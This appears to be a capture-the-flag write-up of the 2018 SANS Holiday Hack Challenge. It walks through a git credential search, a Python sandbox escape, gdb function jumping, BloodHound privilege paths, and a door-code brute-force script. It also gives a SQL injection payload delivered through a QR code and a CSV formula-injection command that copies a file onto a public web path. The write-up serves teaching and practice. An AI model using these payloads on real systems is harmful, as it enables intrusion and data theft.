kcconfmgmt is a git repo, and we need to find some credentials in the history. The Git Cheat Sheet gives us the following command to search commits: git log --grep="Message"

elf@gitpasshist:~/kcconfmgmt$ git log --grep="password"
commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d
Author: Sparkle Redberry <>
Date:   Sat Nov 10 19:51:52 2018 -0500

    Add user model for authentication, bcrypt password storage

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings 
    in config.js.def need to be updated before use

To view the changes, the cheat sheet suggests the following command:

elf@gitpasshist:~/kcconfmgmt$ git log -p 60a2ffea7520ee980a5fc60177ff4d0633f2516b
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use

diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
-    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@'
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
--- /dev/null
+++ b/server/config/config.js.def
@@ -0,0 +1,4 @@
+// Database URL
+module.exports = {
+    'url' : 'mongodb://username:password@'

We see that in config.js, the credentials were sredberry and "twinkletwinkletwinkle":

elf@gitpasshist:~$ ./runtoanswer 
Loading, please wait......

Enter Sparkle Redberry's password: twinkletwinkletwinkle

This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.





We got fairly lucky on this one. We searched commits for "password," and then viewed the details of an interesting commit.

Python Escape from LA


To complete this challenge, escape Python and run ./i_escaped


  • Elf Chat

    SugarPlum Mary has a problem

    I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?

    Can you please help me by escaping from the Python interpreter?

  • Badge Hint

    SugarPlum's advice is to check out Mark Baggett's talk upstairs.

  • Relevant KringleCon Videos


Launching this terminal, we see something a bit different:

I'm another elf in trouble,
Caught within this Python bubble.

Here I clench my merry elf fist -
Words get filtered by a black list!

Can't remember how I got stuck,
Try it - maybe you'll have more luck?

For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped


We need to run i_escaped, either from Python, or after we've escaped. A simple way to exit Python is to call sys.exit:

>>> sys.exit(0)
Traceback (most recent call last):
  File "<console>", line 1, in <module>
NameError: name 'sys' is not defined
>>> import sys
Use of the command import is prohibited for this question.

Foiled. Watching Mark's talk, we see similarities with using readfunc to filter prohibited words. Mark suggests checking to see if exec() is available:

>>> exec
Use of the command exec is prohibited for this question.

Next, let's try eval():

>>> eval
<built-in function eval>

That's promising. We try what Mark suggests using eval:

>>> os.system("./i_escaped")
Use of the command os.system is prohibited for this question.
>>> eval('' + 'stem("./i_escaped")')
Loading, please wait......

  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)

That's some fancy Python hacking -
You have sent that lizard packing!

-SugarPlum Mary

You escaped! Congratulations!

Once we've escaped, we can see how this challenge was setup:

restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", 
                    "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ]
code.interact(banner=banner, readfunc=readfilter, local=locals())


We basically followed Mark's talk directly. import and exec was blocked, but eval was available. We called i_escaped directly from Python, without ever actually escaping.

The GDB Sleighbell Lottery


Complete this challenge by winning the sleighbell lottery for Shinny Upatree.


  • Elf Chat

    Shinny is desperate to win the lottery:

    Hey! Mind giving ole' Shinny Upatree some help? There's a contest I HAVE to win.

    As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!

    I'll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.

  • Badge Hint

    Shinny recommends the SANS blog post Using gdb to Call Random Functions!

  • Relevant KringleCon Videos



The terminal greets us with:

I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!

Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!

But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!

To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!

Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!

Complete this challenge by winning the sleighbell lottery for Shinny Upatree.


We start by investigating our surroundings:

elf@unlinked-function:~$ ls
gdb  objdump  sleighbell-lotto
elf@unlinked-function:~$ ls -l
total 40
lrwxrwxrwx 1 elf  elf     12 Dec 14 16:21 gdb -> /usr/bin/gdb
lrwxrwxrwx 1 elf  elf     16 Dec 14 16:21 objdump -> /usr/bin/objdump
-rwxr-xr-x 1 root root 38144 Dec 14 16:22 sleighbell-lotto

We start following along with the blog post. We'll start with nm (display name list), and as the post tells us to focus on symbol types 'T' (text section symbols):

elf@unlinked-function:~$ nm ./sleighbell-lotto | grep ' T '
0000000000001620 T __libc_csu_fini
00000000000015b0 T __libc_csu_init
0000000000001624 T _fini
00000000000008c8 T _init
0000000000000a00 T _start
0000000000000c1e T base64_cleanup
0000000000000c43 T base64_decode
0000000000000bcc T build_decoding_table
0000000000000b0a T hmac_sha256
00000000000014ca T main
00000000000014b7 T sorry
0000000000000f18 T tohex
0000000000000fd7 T winnerwinner    

winnerwinner looks promising. Let's see if we can use gdb to call that:

elf@unlinked-function:~$ gdb -q ./sleighbell-lotto
Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x14ce
(gdb) run
Starting program: /home/elf/sleighbell-lotto 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) jump winnerwinner
Continuing at 0x555555554fdb.

                                                     .....          ......      
                                     ..,;:::::cccodkkkkkkkkkxdc;.   .......     
                  .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........   
                'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......    
                              ....... ...                                       
With gdb you fixed the race.
The other elves we did out-pace.
  And now they'll see.
  They'll all watch me.
I'll hang the bells on Santa's sleigh!

Congratulations! You've won, and have successfully completed this challenge.


For this one, we followed the SANS blog post from our badge hint almost verbatim, and were able to directly call the winnerwinner function.


Orientation Challenge


What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?


  • Terminal Challenge

    For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.

  • Badge Hint

    Once we solve the Essential Editor Skills challenge, Bushy tells us to check out Past Holiday Hack Challenges.

  • Relevant KringleCon Videos



    To get into the Lobby, we have to, erm… get to talk to Santa, who is inside the gates. As we talk to him, he points us to a video we should start with:


    Figure 15: Santa Says START HERE

    As we watch that video, Ed Skoudis tells us the following things, which answer our questions:

    1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

      At 4 minutes, 29 seconds:

      …and they extracted THE FIRMWARE. They extracted the firmware from their Gnome in their Home and then they did some analysis on it.

    2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

      At 4:52:

      And it turns out that the company that sold the gnomes was called ATNAS Corporation, A-T-N-A-S.

    3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

      At 9:03:

      So that's Santa's Business Card. The whole thing starts with the BUSINESS CARD. Because that's all that's left among all of the needles that are dropped from the tree right next to Santa's bag. Is that Santa's business card.

    4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

      At 16:26:

      Another really big hint for you is that Santa's elves provide hints, but you first need to solve some terminal challenges. So, the concept here is you go up to a terminal challenge, it's just a simple little CRANBERRY PI terminal. Wherever you see a cranberry pi on a terminal, click on that thing.

    5. In 2017, the North Pole was being bombarded by giant objects. What were they?

      At 9:19:

      In 2017, the Holiday Hack Challenge opens up with GIANT SNOWBALLS pouring down the mountain of the North Pole.

    6. In 2017, Sam the snowman needed help reassembling pages torn from what?

      At 9:54:

      You see, THE GREAT BOOK is this wonderful book that was shredded by an inter-dimensional tornado, and you have to fetch different pages of this book.

    Once we enter the correct answers, the screen changes:


    Figure 16: Kringle History Kiosk Answer

    Happy Trails

  2. Open-Source Intel

    One of the coolest things about the Holiday Hack is that old versions remain up! Using the link that Bushy gave us, we can try past challenges, and read the official solutions and other winning entries.

    Year Challenge Winning Entries
    2017 Challenge Answers
    2016 Challenge Answers
    2015 Challenge Answers
    1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

      From reading the 2015 Challenge, we see:

      Now, Dear Reader, please help Jessica unwrap the secrets of the Gnome’s firmware by returning once again to the Dosis neighborhood. Find Jessica and she will provide you a copy of the Gnome’s firmware.

      Answer: Firmware

    2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

      From the 2015 Answers:

      Through the fine investigative work of over 500 officers and detectives here in this room, I am proud to announce that we have apprehended the mastermind behind the co-called “Gnome in Your Home” conspiracy. Miss Cindy Lou Who, age sixty-two, CEO of ATNAS Corporation, had planned a worldwide crime spree to destroy Christmas joy.

      Answer: ATNAS

    3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

      2016 was called "Santa's Business Card," so that's a good guess. Reading the 2016 challenge:

      And that, Dear Reader, is where you get involved. Take a close look at Santa's Business card.

      Answer: Business card

    4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

      Searching the 2016 challenge:

      Now, Dear Reader, scurry around the North Pole and retrieve all of the computer parts to build yourself a Cranberry Pi.

      Answer: Cranberry Pi

    5. In 2017, the North Pole was being bombarded by giant objects. What were they?

      The 2017 challenge starts:

      If I live to be a hundred, I'll never be able to forget the giant snowball disaster going on right now! The North Pole itself is under siege as boulder-sized snowballs cascade down our mountain, leaving destruction and mayhem in their wake.

      Answer: Snowballs

    6. In 2017, Sam the snowman needed help reassembling pages torn from what?

      Reading further:

      And if the snowballs aren't bad enough, the North Pole was hit last week with the worst Inter-Dimensional Tornado ever known, scrambling things up here pretty badly. Why, that blasted tornado even shredded The Great Book!

      What's that? You haven't heard of The Great Book? Why, it's a wonderful tome that describes the epic history of the elves. I gotta tell you, they revere that book, but now its pages are scattered all over the place! We need your help to find the missing seven pages of The Great Book so we can stitch this priceless relic back together.

      Answer: The Great Book

Directory Browsing


Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.


  • Terminal Challenge

    For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.

  • Badge Hint

    Once we solve the Name Game challenge, Minty tells us:

    Finding Browsable Directories: On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.

    Website Directory Browsing: Website Directory Browsing


As we interact with the website, we're told that we missed the Call for Papers for the conference! We also see that there are two webpages we can access:

The hints tell us to remove some characters from the end of the URL, as to view a directory listing. We discover that has directory listings enabled, and we see another file in that directory:


Figure 17: Directory Listing

At this point, we just need to find the line with the talk we're looking for:


Figure 18: A Path in the Darkness?

John McClane

de Bruijn Sequences


When you break into the speaker unpreparedness room, what does Morcel Nougat say?


  • Terminal Challenge

    For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.

  • Elf Chat

    Once we solve the ForensicELFication challenge, Tangle gives us the following hints: #+BEGIN_QUOTE Hey, thanks for the help with the investigation, gumshoe. Have you been able to solve the lock with the funny shapes? It reminds me of something called "de Bruijn Sequences." You can optimize the guesses because there is no start and stop – each new value is added to the end and the first is removed.

  • Badge Hint

    Opening a Ford Lock Code: Opening a Ford with a Robot and the de Bruijn Sequence

    de Bruijn Sequence Generator: de Bruijn sequence generator #+END_QUOTE

    As an aside, one of the authors of this report finds this upsetting given they own a Ford vehicle with one of those keypads… The other two are fine with it.


  1. de Bruijn Sequences

    The key point from Tangle Coalbox is the bit about there being no start and stop. The door passcode is checked for each sequence of shapes as they are entered and shift from right to left. After the first four shapes are entered, a new passcode can be checked by entering just one more shape and for each shape after that.

    A de Bruijn algorithm generates a sequence of characters from a given "alphabet" (\(k\)) and "length" (\(n\)) where each sub-sequence only appears once. For this challenge, we simply convert each shape to a number 0-3, and run it through a de Bruijn algorithm.

    Doing so greatly speeds up the number of buttons we would need to press if we were entering this by hand. Brute-forcing this would mean that we would need to hit up to \(256 x 4 = 1024\) buttons. However, the de Bruijn sequence is only of length 259 (it wraps around, as the last digit could be followed by the first 3 digits of the sequence).

    Using the de Bruijn sequence generator provided in the hint from Tangle, we generate a sequence of 4 possibilities (\(k=4\)) and of length 4 (\(n=4\)). This generates the following sequence:


    We then simply try the possibilities, and quickly find our answer:


    Figure 19: de Bruijn sequences on the Door Lock

  2. Brute Force

    By using the Developer Tools Network tab, we can see what's going on behind the scenes as we try a few codes in our browser:


    Figure 20: Door Lock HTTP GET requests

    Chrome's Developer Tools have a handy feature of copying the request as a curl command. After we press square, circle, triangle, square, our network request looks something like the following in curl:

    curl '' \
       -H 'Pragma: no-cache' \
       -H 'Accept-Encoding: gzip, deflate, br' \
       -H 'Accept-Language: en-US,en;q=0.9' \
       -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' \
       -H 'Accept: */*' \
       -H 'Referer:' \
       -H 'Connection: keep-alive' \
       -H 'Cache-Control: no-cache' \

    This command outputs: {"success":false,"message":"Incorrect guess."}.

    We see that the first line includes the URL, and most of the other lines are headers that Chrome was setting.

    To figure out the right code, we can just replace the i parameter in the URL, and loop over all \(4^4 = 256\) options. There's no real benefit to calculating and using a de Bruijn sequence here, as each command will send a complete 4-character combination.

    #!/usr/bin/env python3
    # Brute force the door code. Finds the solution in 25 tries.
    import requests
    import itertools
    # The values sent to the server for each symbol
    symbols = {0: '<TRIANGLE>', 1: '<SQUARE>', 2: '<CIRCLE>', 3: '<STAR>'}
    search_space = itertools.product(list(symbols), repeat=4)
    for i in search_space:
        result = requests.get('' % i)
        if "true" in result.text:
            print("Code is ", end='')
            for symbol in i:
                print(symbols[symbol], end='')
            print(" (%i%i%i%i)" % i)

    After a few seconds, we get our solution:


    Interestingly and somewhat expected, the straight brute force code worked on the 25th try, which was slower than de Bruijn solution.

\(\triangle \square \bigcirc \triangle \)

Data Repo Analysis


Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?


  • Terminal Challenge

    For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.

  • Badge Hint

    We visit Wunorse, who tells us:

    Brian Hostetler is giving a great Trufflehog talk upstairs.


When we pull up the Git repository, we find a project called "santas_castle_automation." Our first hurdle is retrieving the encrypted ZIP file. The GitLab site has a "Find File" button on the right side of the page. Searching for zip yields:


Figure 21: zip paths in santas_castle_automation GitLab catches our attention, so we download that from the website. Is this the encrypted ZIP file which we seek? Trying to open it prompts us for a password, so it seems likely that we've found it. Viewing the history and the commit where this file was added also reveals the following comment:


Figure 22: Shinny's comment on

As we skim over the README that's displayed as we scroll down, we see the following message from Shinny:

We all get what we git, then we git what we've got.
When we're full of old pulls, then we're holding a lot.
Do you wonder what happens to things that we thought,
Were too private then trampled with things that were not?

I assume that our secrets are gone from the cloud.
They still sit here in local reposit'ries' shroud,
But I heard that old Redberry was rather wowed,
When she found out her keys were exposed - wasn't proud.

So when I found that I had thown creds with a push,
Pretty sure I did stomp them with clean files - smoosh!
If you find an old password 'neath folder or bush,
Would you kindly play nice and say nothing - just shush?"

This, combined with the hint, strongly suggest that there are some secrets hidden in this repository. We've never tried Trufflehog before. Following along in Brian's video, we can try the command from the Trufflehog's README.

$ pip install truffleHog
Collecting truffleHog
Requirement already satisfied: GitPython==2.1.1 in /usr/local/lib/python2.7/site-packages (from truffleHog) (2.1.1)
Requirement already satisfied: truffleHogRegexes==0.0.7 in /usr/local/lib/python2.7/site-packages (from truffleHog) (0.0.7)
Requirement already satisfied: gitdb2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from GitPython==2.1.1->truffleHog) (2.0.5)
Requirement already satisfied: smmap2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from gitdb2>=2.0.0->GitPython==2.1.1->truffleHog) (2.0.5)
Installing collected packages: truffleHog
Successfully installed truffleHog-2.0.98
$ truffleHog --regex --entropy=False
Reason: RSA private key
Date: 2018-12-11 02:29:03
Hash: 6e754d3b0746a8e980512d010fc253cbb7c23f52
Filepath: schematics/files/dot/ssh/key.rsa
Branch: origin/master
Commit: cleaning files
Reason: RSA private key
Date: 2018-12-11 01:25:21
Hash: c376f995b44caf502992ddb617a34e7d38d7bbc1
Filepath: schematics/files/dot/ssh/key.rsa
Branch: origin/master
Commit: support files for Santa's drone functions


Interesting… some private SSH keys. The top commit catches our eye, as the message is "cleaning files." Could this be what Shinny was talking about, when he said "So when I found that I had thown creds with a push, Pretty sure I did stomp them with clean files - smoosh!?"

No passwords, though. The video continues to mention the second command from the README, so let's try that. The README states that the first command we ran cuts down on the noise, but as we haven't found the password yet, we'll expand the search:

$ truffleHog
Reason: High Entropy
Date: 2018-12-11 01:16:57
Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef
Filepath: schematics/
Branch: origin/master
Commit: important update

@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, 
-Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing 
- he caught it before those dastardly villians did!
-Hopefully this is the last time we have to change our password again until next Christmas.
-Password = 'Yippee-ki-yay'
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

Reason: High Entropy
Date: 2018-12-11 01:14:41
Hash: c61af60810e77c8b91c8d29c1303da4bfefde66b
Filepath: sysctl/metadata.json
Branch: origin/master
Commit: Santa's Castle ICS

This finds a lot of hits, but the second from the last commit catches our eye. The filepath is schematics/, and there's a line:

Password = 'Yippee-ki-yay'

Trying to open the ZIP file again, we enter that password and discover maps of the ventilation system!


AD Privilege Discovery


Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.


  • Terminal Challenge

    For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

  • Badge Hint

    Holly has this for us:

    Bloodhound Tool and Bloodhound Demo


To start, we download and run the VM.

On the social medias, we read reports of people having issue opening this VM. Some people suggested changing the architecture to 64-bit, or using VMware instead.

When the VM launches, we're in a Slingshot Linux instance. We notice a shortcut to Bloodhound on the desktop:


Figure 23: VM Launch Screen

When we launch Bloodhound, we open up a dataset for AD.KRINGLECASTLE.COM. Because Bloodhound is already installed, and the data is pre-imported for us, we can skip ahead in the video that Holly linked us to (around the 4:27 mark). We learn that the quickest way to get started is to explore the Queries tab. Our task is to find a path from a Kerberoastable user to the Domain Admins group. As we scroll down the Pre-Built Analytics Queries list, we see that there's a query for almost exactly that:


Figure 24: Shortest Paths to Domain Admins from Kerberoastable Users

We see a few options, and a few paths. Our objective tells us one further thing: "Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws."

As we explore Bloodhound's interface, we find an Edge Filter option, and we can disable "CanRDP."


Figure 25: Edge Filtering in Bloodhound

This provides us with the following graph:


Figure 26: Bloodhound Result

It looks like our answer is Leanne Dubej's user:


But what does this graph mean?

  1. Leanne (LDUBEJ00320) is a member of the IT_00332 Active Directory group.
  2. That group has Administrator privileges on the COMP00185 system.
  3. Jena (JETAK00084) has an active session on the COMP00185 system.
  4. Jena is a Domain Administrator.

Administrators have unfettered access to a system. One of their superpowers is to be able to steal access tokens from other users on that system, and impersonate them. Because Jena has an active session on a system that Leanne is an admin on, Leanne could steal Jena's token, and use it to perform actions as a domain admin.

The other remaining question is what exactly is meant by a "Kerberoastable" user? Kerberoast is "a series of tools for attacking MS Kerberos implementations." If an account has a Service Principal Name (SPN) associated with it, it's vulnerable to offline cracking attacks. Kerberoastable users are simply users that have SPNs associated with their accounts. In our case, Leanne has an SPN, and if we use Kerberoast to access her account, Bloodhound has found a path for us to elevate all the way to Domain Admin.

Badge Manipulation


Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?


  • Terminal Challenge

    For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

  • Elf Chat

    After we identify the targeted account in the Yule Log Analysis terminal, Pepper points us to the following resources:

    All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas.

    Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.

    I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying "User Not Found".

    I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability.

    I was going to try some variations I found on OWASP but decided to stop so I don't tick-off Alabaster.

  • Badge Hint

    Pepper links us to: Creating QR barcodes and SQL Injection


Clicking on the Scan-O-Matic brings up the following interface:


Figure 27: Scan-O-Matic in action

As we interact with the scanner, we see there are two things we can do: scan our fingerprint, or plug in a USB 3.0 drive. Scanning our fingerprint processes the still from the video camera, while the USB drive brings up a file selection window for a file upload.

The objective also gave us a sample employee badge:


Figure 28: If found, please return to Alabaster

First thing we try is uploading the badge via the file upload functionality. No dice:


Figure 29: Error 1: PNG files only

That's fine. We can do some file conversion, either by "Save As…" or from the command line: convert alabaster_badge.jpg alabaster_badge.png. Now we're uploading the right format:


Figure 30: Error 2: Authorized User Account Has Been Disabled!

Perhaps Alabaster's access was revoked when he reported his badge as stolen. These elves are really on top of security…

Pepper's hints are pointing us towards SQL injection via the QR code, so let's start by taking a closer look at the QR code on Alabaster's badge. The Creating QR barcodes website she provided also has a scan function (as do many cellphone camera apps). We ended up using a different site, as we can just link to Alabaster's badge URL, and we don't have to use our webcam. The results are fairly cryptic, but they do seem to be plain text:

Decode Succeeded

Raw text	        oRfjg5uGHmbduj2m

Raw bytes          41 06 f5 26 66 a6 73 57   54 74 86 d6 26 47 56 a3
		   26 d0 ec 

Barcode format	QR_CODE
Parsed Result Type	TEXT
Parsed Result	oRfjg5uGHmbduj2m

As we turn our attention to the OWASP link she mentioned, we see this interesting looking snippet:


Figure 31: Auth Bypass

We can use the Creating QR barcodes website to create a new QR code, with the snippet provided or 1-- -' or 1 or '1"or 1 or", and then save it (making sure to save it as a PNG). Now we can upload our new code to the Scan-O-Matic:


Figure 32: Error 2a: Authorized User Account Has Been Disabled!

Same error. But, this wasn't a total failure. We've confirmed that we can send arbitrary text as a QR code. Let's take a step back, and simplify our injection attempt. The OWASP webpage has several good examples, but let's just send the simplest case: '.


Figure 33: Error 3: Exception at line 96

EXCEPTION AT (LINE 96 "user_info = 
  query("SELECT first_name,last_name,enabled FROM employees WHERE 
	 authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"):
(1064, u"You have an error in your SQL syntax; check the manual 
	 that corresponds to your MariaDB server version for the 
	 right syntax to use near '''' LIMIT 1' at line 1")"

The error is hard to read as it scrolls across, but we can use the Network Developer Tools tab to view the whole thing. Still, it's hard to parse, so we'll take a closer look. It's an error from the MariaDB (née MySQL) database server. We also see a code snippet from Scan-O-Matic:

query("SELECT first_name,last_name,enabled FROM employees WHERE 
       authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"

From this, we can figure out the database query was something like:

SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1

The QR code seems to supply the uid parameter (this is the only variable on that line; everything else is hard-coded). When we submitted a uid of just a single-quote, the SQL database server complained of a syntax error. Let's play around with this a little bit, to better understand what's going on. A good tool for this is From the query, we know that we're searching the employees table. The query is requesting the fields first_name, last_name, enabled be returned, and it's filtering on the fields authorized and uid. So we can mock up a simple example (in fact the example when we load already is pretty close, as it has id, first_name, and last_name).

CREATE TABLE employees
      uid        VARCHAR(30), 
      first_name VARCHAR(30),
      last_name  VARCHAR(30),
      authorized INT,
      enabled    INT

-- We have the UID from Alabaster's badge, and we know he's been disabled
INSERT INTO `employees` 
    (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) 
    ('oRfjg5uGHmbduj2m', 'Alabaster', 'Snowball', 1, 0);

-- We create an employee who is authorized and enabled
INSERT INTO `employees` 
    (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) 
    ('good_uid', 'Pepper', 'Minstix', 1, 1);

We decided to make the authorized and enabled fields integers because the query has authorized = 1. The lack of quotes tells us it's not a string.

We'll start by trying our query with the UID from Alabaster's badge: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'oRfjg5uGHmbduj2m' LIMIT 1;:


Figure 34: Sending Alabaster's badge to

We got our expected result, but Alabaster's not enabled. Now let's try sending a single quote, and see if we can duplicate the error message:


Figure 35: Sending a single quote to

We get the following error message, which matches almost exactly the error message we got from Scan-O-Matic: =You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 2=. The cause of the error is that we've created a query with a string that doesn't close (there's no closing single-quote).

We've discovered a SQL injection! Now we need to exploit it to gain access to the door. We start by trying the following query:

SELECT first_name,last_name,enabled FROM employees 
  WHERE authorized = 1 AND uid = '' OR uid != '' LIMIT 1;

We're looking for an authorized user, whose uid is either empty or not empty. In other words, this should match everyone.


Figure 36: Matching anyone on

Well, no more error, but we still only get Alabaster's user. Even though our search should match everyone, the LIMIT 1 clause will only return one result, and just our luck, that one result is not enabled. No problem – we can just also require that the user be enabled:

SELECT first_name,last_name,enabled FROM employees 
  WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;

This query seems a bit repetitive, and it is, because we're limited in what queries we can build. What we're searching on is that a user must have an empty uid OR be enabled OR have an empty uid. We're not sure if anyone has an empty uid, but the user that's returned matches the other criteria: their account is enabled.


Figure 37: Requiring an enabled user on

We found a query which works in our little sandbox, but how do we make it work on Scan-O-Matic? We start by comparing the queries:

-- Scan-O-Matic:
SELECT first_name,last_name,enabled FROM employees
 WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1;

-- Our query:
SELECT first_name,last_name,enabled FROM employees 
  WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;

The UID from the QR code gets put in between single quotes, which is why our query was rather odd. We needed to construct it in such a way so that it would both start and end with a string.

So, if we just set the uid parameter to ' OR enabled = 1 OR uid =', we should be able to run this query on Scan-O-Matic:


Figure 38: Access Granted!

User Access Granted - Control number 19880715



Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K."


  • Terminal Challenge

    For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.

  • Elf Chat

    Sparkle helpfully points out that her OpSec isn't as bad as Tangle's, by saying:

    I wonder if Tangle Coalbox has taken a good look at his own employee import system.

    It takes CSV files as imports. That certainly can expedite a process, but there's danger to be had.

    I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.

    I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such uploads.

  • Badge Hint

    Sparkle also points us to the OWASP CSV Injection Page, and tells us:

    Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!

  • Relevant KringleCon Videos


Bringing up the webpage, we're presented with a simple form:


Figure 39: Elf Resources website home

Filling in the form, the page forces us to attach a file before submitting. If we do that, we receive the following message:


Figure 40: Elf Resources submission message

Both the objective and the submission message told us the file we need to retrieve, C:\candidate_evaluation.docx. We next simply tried, and got the following:


Figure 41: Elf Resources 404

What a helpful error message! Unfortunately, trying similarly doesn't work. But now, we know two critical pieces of information:

  1. We're trying to access C:\candidate_evaluation.docx
  2. Files in C:\careerportal\resources\public\ are publicly accessible via the web server.

Time to turn our attention to the hints, and see how we can get our target file into the public directory. Brian's talk gives some guidance on how to build a CSV to execute an arbitrary command. We choose a name designed to not conflict with other KringleCon attendees.

=cmd|'/C copy C:\\candidate_evaluation.docx C:\\careerportal\\resources\\public\\ZXNuZXRfc2VjdXJpdHkK.docx'!A0

Uploading this file, we then try to access After ~10-15 seconds, we download a Word Doc. The download evaluates 4 elves, including Krampus:


Figure 42: Krampus Evaluation

The document reveals that Krampus is connected to cyber terrorist organization Fancy Beaver (a play on the Fancy Bear APT group).


Fancy Beaver



Santa has introduced a web-based packet capture and analysis tool at to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?


  • Terminal Challenge

    For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.

  • Elf Chat

